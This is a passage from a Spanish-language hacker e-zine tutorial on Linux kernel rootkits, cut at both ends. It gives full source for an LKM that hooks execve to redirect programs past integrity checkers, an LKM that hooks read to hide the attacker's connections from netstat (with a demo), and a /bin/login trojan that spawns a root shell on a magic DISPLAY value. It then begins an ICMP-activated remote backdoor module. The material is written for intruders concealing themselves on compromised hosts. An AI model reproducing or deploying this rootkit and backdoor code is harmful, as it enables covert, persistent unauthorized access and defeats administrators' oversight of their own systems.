sys_call_table[__NR_execve] en otra posicion de la sys_call_table para luego
poder llamarlo. En nuestro modulo usarmos una funcion llamada mexecve() para
llamar a la syscall original.
int mexecve(const char *filename, char **argv, char **envp)
{
long __res;
__asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_mexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
return (int) __res;
}
Otro problema con el que nos encontramos es que debemos pasarle a mexecve
un puntero que apunte a la user memory. La solucion tambien es sencilla.
Usaremos la syscall brk (una cosa similar a lo que hace malloc) para reservar
la memoria. Miraos el modulo para mas detalles.
---/ exec_redirect.c /---
/*
* TILE: Exec Redirect v1.0 <24/7/2001>
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DESCR: Sometimes we want to modify some binary file in a hacked host, but
* it's too dangerous because MD5 checkers can us. So we must to
* searsh a metod to redirect executions using the kernel. We can
* do it using sys_execve syscall very bad :)
*
* In this LKM i've not created the metod to comunicate with kernel,
* but im sure that you can code it... DoItYourSelf.
*
* RECOM: Learn how to coe LKMs.... You'll be better :)
*
* TESTED: This LKM have been tested without problems on:
* - Linux kernel 2.2.18pre10 (Debian 2.2)
* - Linux kernel 2.2.19 (Debian 2.2)
*
*/
#define __KERNEL__
#define MODULE
#include <linux/ctype.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/proc_fs.h>
#include <linux/dirent.h>
#include <sys/syscall.h>
#define _7A69SOFT_
#define CODER "Ripe"
#define DEBUGMODE
/*
* La entrada en la sys_call_table en la que copiaremos el puntero a la
* syscall execve original, para poder llamarla desde mexecve().
*/
#define __NR_mexecve 222
extern void *sys_call_table[];
typedef struct {
char *o_exec;
char *my_exec;
struct lexec *next;
} lexec;
lexec *e_list;
int (*o_execve)(const char *filename, char *const argv [], char *const envp[]);
int (*o_brk)(void *end_data_segment);
void *tmp;
lexec *is_exec(char *o_exec, char *my_exec);
void my_bzero(char *buf, int size) {
memset(buf, 0, size);
}
/*
* El rollo de siempre para mantener la lista enlazada.
*/
void add_exec(char *o_exec, char *my_exec) {
lexec *ptr=e_list;
#ifdef DEBUGMODE
printk("(ER) Adding %s -> %s to redirect list\n", o_exec, my_exec);
#endif
if ((lexec *)is_exec(o_exec,my_exec)) return;
if (ptr) {
while (ptr->next) {
if (!strcmp(ptr->o_exec, o_exec) && !strcmp(ptr->my_exec, my_exec)) return;
ptr=(lexec *)ptr->next;
}
ptr->next=(struct lexec *)kmalloc(sizeof(lexec), GFP_KERNEL);
ptr=(lexec *)ptr->next;
ptr->o_exec=(char *)kmalloc(strlen(o_exec)+1, GFP_KERNEL);
ptr->my_exec=(char *)kmalloc(strlen(my_exec)+1, GFP_KERNEL);
strcpy(ptr->o_exec, o_exec);
strcpy(ptr->my_exec, my_exec);
ptr->next=NULL;
} else {
e_list=(lexec *)kmalloc(sizeof(lexec), GFP_KERNEL);
ptr=e_list;
ptr->o_exec=(char *)kmalloc(strlen(o_exec)+1, GFP_KERNEL);
ptr->my_exec=(char *)kmalloc(strlen(my_exec)+1, GFP_KERNEL);
strcpy(ptr->o_exec, o_exec);
strcpy(ptr->my_exec, my_exec);
ptr->next=NULL;
}
return;
}
void del_exec(char *o_exec, char *my_exec) {
lexec *ptr=e_list, *ptr2;
#ifdef DEBUGMODE
printk("(ER) Deleting %s -> %s from redirect list\n", o_exec, my_exec);
#endif
if (!ptr) return;
if (!strcmp(ptr->o_exec, o_exec) && !strcmp(ptr->my_exec, my_exec)) {
e_list=(lexec *)ptr->next;
kfree(ptr->o_exec);
kfree(ptr->my_exec);
kfree(ptr);
return;
}
while(ptr) {
if (!strcmp(ptr->o_exec, o_exec) && !strcmp(ptr->my_exec, my_exec)) break;
ptr2=ptr;
ptr=(lexec *)ptr->next;
}
if (ptr) {
ptr2->next=ptr->next;
kfree(ptr->o_exec);
kfree(ptr->my_exec);
kfree(ptr);
}
return;
}
lexec *is_exec(char *o_exec, char *my_exec) {
lexec *ptr=e_list;
while(ptr) {
if (my_exec) {
if (!strcmp(ptr->o_exec, o_exec) && !strcmp(ptr->my_exec, my_exec)) return(ptr);
} else {
if (!strcmp(ptr->o_exec, o_exec)) return(ptr);
}
ptr=(lexec *)ptr->next;
}
return(NULL);
}
/*
* No podemos pasarle a strlen un puntero a la user memory, pues
* interpretaria que el puntero es a la kernel memory. Para solucionarlo
* usaremos esta funcion.
*/
int umem_strlen(char *uptr) {
char ch=255;
char *ptr;
int len;
for (ptr=uptr, len=0 ; ch!=0 ; __generic_copy_from_user(&ch, ptr, 1), len++, ptr++);
return(len-1);
}
/*
* Esta es la funcion a la que llamaremos cuando queramos que se ejecute
* execve original.
*/
int mexecve(const char *filename, char **argv, char **envp)
{
long __res;
__asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_mexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
return (int) __res;
}
/*
* Nuestra version troyanizada de la syscall... que malos somos :)
*/
int my_execve(const char *filename, char *const argv [], char *const envp []) {
char *exec;
int ret;
lexec *redir;
unsigned long tmp;
/*
* No podemos trabajar con los puntero de la user memory, asi que no
* hacemos una copia en la memoria del kernel :)
*/
exec=(char *)kmalloc(umem_strlen((char *)filename)+1, GFP_KERNEL);
memset(exec, 0, umem_strlen((char *)filename)+1);
__generic_copy_from_user(exec, filename, umem_strlen((char *)filename));
/*
* Comprobamos si el fichero que se solicita a ejecutar contiene una entrada
* en la lista enlazada.
*/
if (redir=is_exec(exec, NULL)) {
/*
* Si la tiene reservamos memoria en la user memory con la syscall
* brk. Esto es lo mismo que hace malloc :)
* Necesitamos reservar esa memoria, pues el puntero que deberemos
* pasar a la syscall mas adelante debera estar en la user memory.
*/
kfree(exec);
tmp=current->mm->brk;
(*o_brk)((void *)current->mm->brk+umeme_strlen((char *)filename)+1);
/*
* Copiamos el nombre del fichero a ejecutar.... :)
*/
__generic_copy_to_user(tmp, redir->my_exec);
/*
* Lo ejecutamos.
*/
ret=mexecve((char *)tmp, (char **)argv, (char **)envp);
/*
* Volvemos a dejar libre la memoria que reservamos en la user memory.
*/
(*o_brk)((void *)tmp);
return(ret);
}
kfree(exec);
/*
* Si no debemos redireccionar nada... pues quietoparao no toques nada!!
*/
return(mexecve(filename, (char **)argv, (char **)envp));
}
/*
* El rollo se siempre.
*/
int init_module() {
o_brk=sys_call_table[__NR_brk];
o_execve=sys_call_table[__NR_execve];
tmp=sys_call_table[__NR_mexecve]; /* esto es para poder restaurar la syscall
* nula luego en cleanup_module.
*/
sys_call_table[__NR_mexecve]=o_execve; /*
* con esto hacemos la copia de
* la syscall exeve en otra entrada
* de la sys_call_table.
*/
sys_call_table[__NR_execve]=my_execve;
sys_call_table[__NR_mexecve]=o_execve;
#ifdef DEBUGMODE
printk("(ER) Exec Redirect by Ripe - <ripe@7a69ezine.org>\n");
printk("(ER) Loaded!\n");
#endif
/*
* Aqui he colocado las redirecciones.
* Podria haber hookeado una syscall para comunicarme con el kernel
* y asi poder aqadir entradas en la lista enlazada una vez cargado
* el modulo, pero me dio palo hacerlo... ademas asi te dejo un poco
* de trabajo :)
*/
add_exec("/bin/ls", "/bin/cat");
return(0);
}
void cleanup_module() {
/*
* Lo dejamos todo como estaba antes de tocar nada :P
*/
sys_call_table[__NR_execve]=o_execve;
sys_call_table[__NR_mexecve]=tmp;
#ifdef DEBUGMODE
printk("(ER) Exec Redirect by Ripe - <ripe@7a69ezine.org>\n");
printk("(ER) UnLoaded!\n");
#endif
}
MODULE_AUTHOR("Ripe - <ripe@7a69ezine.org>");
MODULE_DESCRIPTION("hack: exec redirect");
---/ exec_redirect.c /---
Como podeis ver aqui uso add_exec() en init_module, ello es asi porque
no he implementado ningun metodo de comunicacion con el kernel para añadir
y quitar elementos en la lista enlazada... ese es un trabajo que te dejo a
ti, que ya va siendo hora que te curres algo :)
5.7. Ocultando conexiones al sistema
------------------------------------
Es muy probable (a todos nos ha pasado) que el administrador de un
sistema entre mientras estamos nosotros dentro, por lo que haciendo un
simple "netstat" podria ver nuestra conexion al sistema (NOTA: Usando
evadelog.c tambien podriamos ocultar las conexiones con nuestra IP), o la
de algun bouncer que tengamos montado. Nosotros como buenos hackers debemos
cubrirnos las espaldas en ese sentido. El tema esta en saber como trabaja
netstat, asi que lo primero que vamos a hacer va a ser tracear lo que hace un
"netstat -na", de manera que sabiendo como trabaja este sabremos por donde
debemos atacar.
barracuda~# strace netstat -na > /dev/null
execve("/bin/netstat", ["netstat", "-na"], [/* 19 vars */]) = 0
uname({sys="Linux", node="server", ...}) = 0
brk(0) = 0x805a718
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000
(... etc etc ...)
write(1, "Active Internet connections (ser"..., 54) = 54
write(1, "Proto Recv-Q Send-Q Local Addres"..., 80) = 80
open("/proc/net/tcp", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000
(... etc etc ...)
munmap(0x40016000, 4096) = 0
_exit(0) = ?
barracuda~#
Como podemos ver lo que netstat hace es leer de /proc/net/tcp las
conexiones activas (tambien lee de /proc/net/tcp6, /proc/net/udp.... Si
quereis mas informacion haced un strace en vuestra maquina y mirad todo lo
que sale, pues yo solo he dejado aqui la parte mas importante). Ahora lo que
deberiamos tratar de ver es como esta estructurado el fichero.
barracuda~# cat /proc/net/tcp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 00000000:0019 00000000:0000 0A 00000000:00000000 00:00000000 00000000
0 0 93
1: 00000000:0200 00000000:0000 0A 00000000:00000000 00:00000000 00000000
0 0 92
2: 00000000:0201 00000000:0000 0A 00000000:00000000 00:00000000 00000000
0 0 91
(... etc etc ...)
barracuda~#
Parece que esta toda la informacin aqui metida en hexadecimal, y que
netstat lo unico que hace es leerla y representarla de forma bonita. Esta
claro pues que debemos hacer que netstat lea lo que nosotros queramos ¿no?
Pues toca atacar la syscall read :)
¿Como lo haremos? Lo primero sera llamar a read original para extraer
el buffer, luego linea a linea (separando por retornos de carro)
comprobaremos si hay algo que nos puede comprometer o no (basandonos una vez
mas en una lista enlazada). Si hay algo que nos compromete nos lo cargamos.
Veamos, que un source es mejor que 1000 palabras, o eso dicen.
---/ fucknetstat.c /---
/*
* TILE: FuckNetstat
*
* CODER: Ripe
*
* DESCR: This LKM may be used to hide connection in a linux system. The
* interface to comunicate with LKM is a device... see dev_command()
* for usage info :)
*
* RECOM: Give me money.
*
*/
#define __KERNEL__
#define MODULE
/*
* K_22 para kernels 2.2 y K_24 para kernels 2.4 :)
*/
#define K_22
//#define K_24
#include <linux/ctype.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/mm.h>
#include <linux/errno.h>
#ifdef K_24
#include <linux/in.h>
#endif /* K_24 */
#include <sys/syscall.h>
extern void *sys_call_table[];
int errno;
typedef struct {
struct sockaddr_in *local;
struct sockaddr_in *remote;
struct laddr *next;
} laddr;
laddr *list_addr=NULL;
int (*o_read)(int, char *, int);
/*
* aqadir/quitar... te lo deberias saber de memoria.
*/
void add_addr(struct sockaddr_in *local, struct sockaddr_in *remote) {
laddr *ptr=list_addr;
if (!local && !remote) return;
#ifdef LKM_MSGDEBUGMODE
if (local) printk("<1>%d.%d.%d.%d:%d", NIPQUAD(local->sin_addr.s_addr), local->sin_port);
else printk("<1>0.0.0.0:0");
if (remote) printk("<1> %d.%d.%d.%d:%d", NIPQUAD(remote->sin_addr.s_addr), remote->sin_port);
else printk("<1> 0.0.0.0:0");
printk("<1> added to hide connection list\n");
#endif /* LKM_MSGDEBUGMODE */
if (is_addr(local, remote)) return;
if (ptr) {
while(ptr->next) ptr=(laddr *)ptr->next;
ptr->next=(struct laddr *)kmalloc(sizeof(laddr), GFP_KERNEL);
ptr=(laddr *)ptr->next;
} else {
list_addr=(laddr *)kmalloc(sizeof(laddr), GFP_KERNEL);
ptr=list_addr;
}
if (local) {
ptr->local=(struct sockaddr_in *)kmalloc(sizeof(struct sockaddr_in), GFP_KERNEL);
memcpy(ptr->local, local, sizeof(struct sockaddr_in));
} else ptr->local=NULL;
if (remote) {
ptr->remote=(struct sockaddr_in *)kmalloc(sizeof(struct sockaddr_in), GFP_KERNEL);
memcpy(ptr->remote, remote, sizeof(struct sockaddr_in));
}
ptr->next=NULL;
return;
}
void del_addr(struct sockaddr_in *local, struct sockaddr_in *remote) {
laddr *ptr=list_addr, *ptr2;
if ((!local && !remote) || !ptr) return;
#ifdef LKM_MSGDEBUGMODE
if (local) printk("<1>%d.%d.%d.%d:%d", NIPQUAD(local->sin_addr.s_addr), local->sin_port);
else printk("<1>0.0.0.0:0");
if (remote) printk("<1> %d.%d.%d.%d:%d", NIPQUAD(remote->sin_addr.s_addr), remote->sin_port);
else printk("<1> 0.0.0.0:0");
printk("<1> removed from hide connection list\n");
#endif /* LKM_MSGDEBUGMODE */
if (!memcmp(local, ptr->local, sizeof(struct sockaddr_in)) && !memcmp(remote,
ptr->remote, sizeof(struct sockaddr_in))) {
list_addr=(laddr *)ptr->next;
if (ptr->local) kfree(ptr->local);
if (ptr->remote) kfree(ptr->remote);
kfree(ptr);
goto ret;
}
while(ptr) {
if (!memcmp(local, ptr->local, sizeof(struct sockaddr_in)) && !memcmp(remote, ptr->remote, sizeof(struct sockaddr_in))) break;
ptr2=ptr;
ptr=(laddr *)ptr->next;
}
if (ptr) {
ptr2->next=ptr->next;
if (ptr->local) kfree(ptr->local);
if (ptr->remote) kfree(ptr->remote);
kfree(ptr);
}
ret:
return;
}
int is_addr(struct sockaddr_in *local, struct sockaddr_in *remote) {
laddr *ptr=list_addr;
int ret=0;
while(ptr) {
if (!memcmp(local, ptr->local, sizeof(struct sockaddr_in)) && !memcmp(remote, ptr->remote, sizeof(struct sockaddr_in))) {
ret=1;
goto ret;
}
ptr=(laddr *)ptr->next;
}
ret:
return(ret);
}
int hide_connection(struct sockaddr_in *local, struct sockaddr_in *remote) {
laddr *ptr=list_addr;
int ret=0;
if (!ptr) goto ret;
while(ptr) {
if (hideme(local, remote, ptr)) {
ret=1;
goto ret;
}
ptr=(laddr *)ptr->next;
}
ret:
return(ret);
}
int hideme(struct sockaddr_in *local, struct sockaddr_in *remote, laddr *ptr) {
int l=0;
int r=0;
if (ptr->local) {
if (!memcmp(local, ptr->local, sizeof(struct sockaddr_in))) l=1;
else goto ret;
} else l=1;
if (ptr->remote) {
if (!memcmp(remote, ptr->remote, sizeof(struct sockaddr_in))) r=1;
else goto ret;
} else r=1;
ret:
if (l && r) return(1);
else return(0);
}
/*
* Estos son funciones varias....
* strtoargs() pasa un string a argv :P
* atoi() el de toda la vida
* inet_aton() inet_addr() pues conversiones de IP.
* strtosockaddr() crea un sockaddr pasandole un string.
*/
unsigned int strtoargs(char *buf, char ***argv) {
char *ptr;
char **margv;
int *nchs=NULL;
int len=strlen(buf)+1;
int i;
int w;
int argc=0;
for (i=0 ; i<len ; i++) if (buf[i]==' ' || buf[i]==0) argc++;
nchs=(int *)kmalloc(argc*sizeof(int), GFP_KERNEL);
margv=(char **)kmalloc(argc*sizeof(char *), GFP_KERNEL);
memset(nchs, 0, argc*sizeof(int));
memset(margv, 0, argc*sizeof(char *));
w=0;
for (i=0 ; i<len ; i++) {
if (buf[i]==' ' || buf[i]==0) {
w++;
continue;
}
nchs[w]++;
}
ptr=buf;
for (i=0 ; i<argc ; i++) {
margv[i]=(char *)kmalloc(nchs[i]+1, GFP_KERNEL);
memset(margv[i], 0, nchs[i]+1);
strncpy(margv[i], ptr, nchs[i]);
ptr += (nchs[i]+1);
}
margv[argc-1][nchs[argc-1]-1]=0;
*(argv)=margv;
return(argc);
}
int atoi(char *str) {
int res=0;
int mul=1;
char *ptr;
for (ptr=str+strlen(str)-1 ; ptr>=str ; ptr--) {
if (*ptr < '0' || *ptr > '9') return(-1);
res+=(*ptr-'0')*mul;
mul*=10;
}
return (res);
}
int inet_aton(const char *cp, struct in_addr *addr) {
register u_long val;
register int base, n;
u_int parts[4];
register u_int *pp = parts;
for (;;) {
if (*cp == '0') {
if (*++cp == 'x' || *cp == 'X') base = 16, cp++;
else base = 8;
} else base = 10;
val = simple_strtoul (cp, (char **) &cp, base);
if (val == ULONG_MAX) return 0;
if (*cp == '.') {
if (pp >= parts + 3 || val > 0xff) return (0);
*pp++ = val, cp++;
} else break;
}
if (*cp && (!isascii(*cp) || !isspace(*cp))) return (0);
n = pp - parts + 1;
switch (n) {
case 1:
break;
case 2:
if (val > 0xffffff) return (0);
val |= parts[0] << 24;
break;
case 3:
if (val > 0xffff) return (0);
val |= (parts[0] << 24) | (parts[1] << 16);
break;
case 4:
if (val > 0xff) return (0);
val |= (parts[0] << 24) | (parts[1] << 16) | (parts[2] << 8);
break;
}
if (addr) addr->s_addr = htonl(val);
return (1);
}
unsigned long inet_addr(const char *cp) {
struct in_addr val;
if (inet_aton(cp, &val))
return (val.s_addr);
return (0);
}
void strtosockaddr(char *ip_port, struct sockaddr_in *saddr) {
char *ip=ip_port;
char *port;
int len=strlen(ip_port);
int i;
for(i=0 ; i<len && *(ip_port+i)!=':' ; i++);
*(ip_port+i)=0;
port=ip_port+i+1;
memset(saddr, 0, sizeof(struct sockaddr_in));
saddr->sin_addr.s_addr=inet_addr(ip);
saddr->sin_port=atoi(port);
}
#define NO_HIDE 0
#define TCP 1
/*
* Hora de actuar.
*/
int my_read(int fd, char *buf, int count) {
char *kbuf;
char *kbuf2;
char *tmp;
char line[1024];
int hide=NO_HIDE;
int off=0;
int off2=0;
int o_ret;
int ret=0;
int lsize;
struct sockaddr_in local_addr;
struct sockaddr_in remote_addr;
o_ret=(*o_read)(fd, buf, count);
/*
* Estamos leyendo un file llamado "tcp"?
*/
if (!strcmp(current->files->fd[fd]->f_dentry->d_iname, "tcp")) hide=TCP;
/*
* lo de count>10000 lo hago por que luego hacemos un kmalloc(), y no
* es plan de pasarse con la memoria a reservar :)
*/
if (hide==NO_HIDE || count<1 || count>10000) {
ret=o_ret;
goto ret;
}
kbuf=(char *)kmalloc(count+1, GFP_KERNEL);
memset(kbuf, 0, count+1);
kbuf2=(char *)kmalloc(count+1, GFP_KERNEL);
memset(kbuf2, 0, count+1);
__generic_copy_from_user(kbuf, buf, o_ret);
/*
* Parseamos linea a linea el fichero.
*/
while(off<o_ret) {
lsize=0;
memset(line, 0, sizeof(line));
while(lsize<sizeof(line) && off<o_ret) {
line[lsize++]=kbuf[off++];
if (kbuf[off-1]=='\n') break;
}
if (hide==TCP) {
/*
* La pimera linea del file "tcp" no contiene informacion, y empieza
* por " sl" :PPP
*/
if (strncmp(line, " sl", 4)) {
memset(&local_addr, 0, sizeof(struct sockaddr_in));
memset(&remote_addr, 0, sizeof(struct sockaddr_in));
tmp=(char *)&line[6];
local_addr.sin_addr.s_addr=simple_strtoul(tmp, NULL, 16);
tmp=(char *)&line[20];
remote_addr.sin_addr.s_addr=simple_strtoul(tmp, NULL, 16);
tmp=(char *)&line[15];
local_addr.sin_port=(unsigned int)simple_strtoul(tmp, NULL, 16);
tmp=(char *)&line[29];
remote_addr.sin_port=(unsigned int)simple_strtoul(tmp, NULL, 16);
/*
* Si debemos ocultar, no lo copiamos :)
*/
if (hide_connection(&local_addr, &remote_addr)) continue;
}
}
memcpy(kbuf2+off2, line, lsize);
off2+=lsize;
ret+=lsize;
}
__generic_copy_to_user(buf, kbuf2, o_ret);
kfree(kbuf);
kfree(kbuf2);
ret:
return(ret);
}
#define makedev(major, minor) ((((uint) major & 0xFF) << 8) | ((uint) minor & 0xFF))
int mn;
int dev_busy=0;
static spinlock_t dev_busy_lock=SPIN_LOCK_UNLOCKED;
static inline _syscall3 (int, mknod, char *, path, mode_t, mode, dev_t, dev);
static inline _syscall1 (int, unlink, char *, path);
void dev_command(int, char **); /* FIXME: temporal (pereza rlz!) */
ssize_t fog2_dev_write(struct file *f, const char *buf, size_t len, loff_t *offset) {
unsigned int argc;
char **argv;
char *mbuf=(char *)kmalloc(len+1, GFP_KERNEL);
memset(mbuf, 0, len+1);
memcpy(mbuf, buf, len);
argc=strtoargs(mbuf, &argv);
if (argc) dev_command(argc, argv);
kfree(mbuf);
return(len);
}
int fog2_dev_open(struct inode *i, struct file *f) {
int ret=0;
spin_lock(&dev_busy_lock);
if (dev_busy) {
ret=-1;
goto ret;
}
#ifdef LKM_MSGDEBUGMODE
printk("<1>Device opened\n");
#endif /* LKM_MSGDEBUGMODE */
#ifndef LKM_DEBUGMODE
MOD_INC_USE_COUNT;
#endif /* LKM_DEBUGMODE */
dev_busy++;
spin_unlock(&dev_busy_lock);
ret:
return(0);
}
int fog2_dev_release(struct inode *i, struct file *f) {
#ifdef LKM_MSGDEBUGMODE
printk("<1>Device closed\n");
#endif /* LKM_MSGDEBUGMODE */
#ifndef LKM_DEBUGMODE
MOD_DEC_USE_COUNT;
#endif /* LKM_DEBUGMODE */
spin_lock(&dev_busy_lock);
dev_busy--;
spin_unlock(&dev_busy_lock);
return(0);
}
struct file_operations fops = {
#ifdef K_24
NULL, /* owner */
#endif /* K_24 */
NULL, /* llseek */
NULL, /* read */
(void *)fog2_dev_write, /* write */
NULL, /* readdir */
NULL, /* poll */
NULL, /* ioctl */
NULL, /* mmap */
(void *)fog2_dev_open, /* open */
NULL, /* flush */
(void *)fog2_dev_release, /* release */
NULL, /* fsync */
NULL, /* fasync */
#ifdef K_22
NULL, /* check_media_change */
NULL, /* revalidate */
NULL /* lock */
#endif /* K_22 */
#ifdef K_24
NULL, /* lock */
NULL, /* readv */
NULL /* writev */
#endif /* K_24 */
};
/*
* Leer esta funcion para saber usarlo :)
*/
void dev_command(int argc, char **argv) {
int i;
int len=0;
char *log;
char *ptr;
struct sockaddr_in *local=NULL;
struct sockaddr_in *remote=NULL;
if (!strcmp(argv[0], "add")) {
if (argc<2) return;
if (!strcmp(argv[1], "addr")) {
if (argc<4) return;
if (strcmp(argv[2], "none")) {
local=(struct sockaddr_in *)kmalloc(sizeof(struct sockaddr_in), GFP_KERNEL);
strtosockaddr(argv[2], local);
}
if (strcmp(argv[3], "none")) {
remote=(struct sockaddr_in *)kmalloc(sizeof(struct sockaddr_in), GFP_KERNEL);
strtosockaddr(argv[3], remote);
}
add_addr(local, remote);
kfree(local);
kfree(remote);
}
}
if (!strcmp(argv[0], "del")) {
if (argc<2) return;
if (!strcmp(argv[1], "addr")) {
if (argc<4) return;
if (strcmp(argv[2], "none")) {
local=(struct sockaddr_in *)kmalloc(sizeof(struct sockaddr_in), GFP_KERNEL);
strtosockaddr(argv[2], local);
}
if (strcmp(argv[3], "none")) {
remote=(struct sockaddr_in *)kmalloc(sizeof(struct sockaddr_in), GFP_KERNEL);
strtosockaddr(argv[3], remote);
}
del_addr(local, remote);
kfree(local);
kfree(remote);
}
}
return;
}
#define LKM_DEVICE "/dev/iomolo"
int _dev_create(void) {
int ret;
long tmp;
if ((mn=register_chrdev(mn, "fog2", &fops))<0) return(-1);
tmp=current->addr_limit.seg;
current->addr_limit.seg=0xFFFFFFFF;
ret=mknod(LKM_DEVICE, S_IFCHR|0600, makedev(mn,0));
current->addr_limit.seg=tmp;
return(ret);
}
void _dev_delete(void) {
long tmp;
tmp=current->addr_limit.seg;
current->addr_limit.seg=0xFFFFFFFF;
unlink(LKM_DEVICE);
current->addr_limit.seg=tmp;
unregister_chrdev(mn, "fog2");
}
int init_module() {
_dev_create();
o_read=sys_call_table[__NR_read];
sys_call_table[__NR_read]=my_read;
return(0);
}
void cleanup_module() {
_dev_delete();
sys_call_table[__NR_read]=o_read;
}
---/ fucknetstat.c /---
Vamos a comprobar que el modulo funcione correctamente :)))
barracuda ~# netstat -na
tcp 0 0 62.37.174.49:53 0.0.0.0:* LISTEN
tcp 0 0 62.37.174.49:1029 212.59.199.131:6667 ESTABLISHED
tcp 0 0 62.37.174.49:1026 217.126.33.148:6667 ESTABLISHED
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:512 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:513 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:514 0.0.0.0:* LISTEN
udp 0 0 62.37.174.49:53 0.0.0.0:*
udp 0 0 192.168.1.1:53 0.0.0.0:*
udp 0 0 127.0.0.1:53 0.0.0.0:*
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 0 [ ACC ] STREAM LISTENING 98 /dev/gpmctl
unix 0 [ ACC ] STREAM LISTENING 798 /tmp/xmms_root.0
(... etc etc ...)
barracuda ~# echo add addr 62.37.174.49:1029 212.59.199.131:6667 > /dev/iomolo
barracuda ~# netstat -na
tcp 0 0 62.37.174.49:53 0.0.0.0:* LISTEN
tcp 0 0 62.37.174.49:1026 217.126.33.148:6667 ESTABLISHED
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:512 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:513 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:514 0.0.0.0:* LISTEN
udp 0 0 62.37.174.49:53 0.0.0.0:*
udp 0 0 192.168.1.1:53 0.0.0.0:*
udp 0 0 127.0.0.1:53 0.0.0.0:*
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 0 [ ACC ] STREAM LISTENING 98 /dev/gpmctl
unix 0 [ ACC ] STREAM LISTENING 798 /tmp/xmms_root.0
(... etc etc ...)
Funciona!!!! Se oculto bien la conexion... :)))
5.8. Abriendo una backdoor remota
---------------------------------
Obiamente, cuando accedemos a una maquina lo que queremos es
ingeniarnoslas para conseguir accedes a dicha maquina siempre que queramos
de forma facil. ¿Que mejor manera que troyanizar el kernel para conseguir un
acceso remoto?
5.8.1. Redireccionando /bin/login
---------------------------------
Muchos de vosotros conocereis la existencia del troyano remoto para
/bin/login que usa el valor de la variable de entorno DISPLAY (la cual es
negociada en la sesion telnet) para saber debe ejecutar el login normal o un
shell. Obiamente si troyanizamos una maquina de esta manera estaremos en
manos del administrador si este es un poco listo y usa alguna herramienta
del estilo tripwire. Para evadir triwire nos colocaremos una vez mas encima
de el, en el kernel.
Seria muy facil, decirle al kernel que redireccione todas las
ejecuciones de /bin/login a /tmp/hacktools/tlogin pero veamos las fuentes
de tlogin.
---/ tlogin.c /---
#include <stdio.h>
#define OLDLOGIN "/usr/lib/.login"
#define LOGINNAME "login"
#define MAGIC_WORD "ImHax0r"
#define MSG "Eres un autentico hax0r";
char **exe;
do_back() {
puts(MSG);
putenv("TERM=vt100");
execl("/bin/sh","sh","-i",0);
}
main(argc, argv)
int argc;
char *argv[];
{
exe=argv;
exe[0]=LOGINNAME;
if ((char *)getenv("DISPLAY") != (char *)NULL)
if (strncmp(getenv("DISPLAY"),MAGIC_WORD,strlen(MAGIC_WORD))==0)
do_back();
execv(OLDLOGIN,exe);
}
---/ tlogin.c /---
De entrada vemos #define OLDLOGIN "/usr/lib/.login", y vemos que si
do_hack() no se ejecuta lo hara execv(OLDLOGIN,exe). Si usasemos este tlogin
de forma normal no habria problemas (no voy a decir como usarlo porque no el
el objetivo del doc, ademas creo que si estais aqui es porque algo sabeis
¿no? asi que leereos tlogin.c y tratad de averiguar como funciona :), pero
nosotros usaremos el kernel para redireccionar /bin/login a
/tmp/hacktools/tlogin, por lo que el autentico login no esta en
/usr/lib/.login sino en /bin/login mismo. Pensareis... Bien facil... basta
con poner #define OLDLOGIN "/bin/login" pero si pensais un poco eso nos
meteria en un bucle infinito de execve's sin lograr nosotros nuestro
objetivo, pues al tratar de llamar al login normal volvera a llamar al login
troyanizado debido al redireccionamiento. Hay varias soluciones para esto
(copiar el login real en /usr/lib/.login, hacer que tlogin no llame a execve
sino a la copia original de la syscall....) pero yo voy a contar la que a mi
parecer es la mas limpia.
Usaremos una variable en nuestro modulo para indicar si debe realizarse
el redireccionamiento o no. Pero claro, nosotros colocaremos esa variable
por defecto a 0 (no redireccionar), por lo que debemos de lograr colocarla a
1 de forma remota. Para ello insertaremos una rutina en el stack tcp/ip del
kernel que lea todos los ICMP_ECHOREPLY y compruebe que en el campo de
datos haya una contraseña de 64 bits que nosotros habremos elegido
previamente. No hay que olvidar que debemos colocar la variable a 0 de nuevo
antes de que tlogin entre en accion, pues sino volveriamos a estar en el
bucle sin fin. Bien... antes que nada en tlogin debemos poner #define
OLDLOGIN "/bin/login" :) Ahora veamos el modulo.
---/ backdoor_1.c /---
/*
* TILE: Remote Backdoor (/bin/login redirect) <1/8/2001>
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DESCR: This is a stupid LKM using execve redirect to use a /bin/login
* trojan evading MD5 checksums to binary files. This LKM can be
* activated remotely sending to ataked host an ICMP_ECHOREPLY
* packet with an signature. To send this packet you can use
* rbackdoor_1.c.
*
* RECOM: Always the same... hide the module and practice sex everyday.
*
* TESTED: This LKM have been tested without problems on:
* - Linux kernel 2.2.18pre10 (Debian 2.2)
* - Linux kernel 2.2.19 (Debian 2.2)
*
*/
#define __KERNEL__
#define MODULE
#include <linux/ctype.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#include <linux/mm.h>
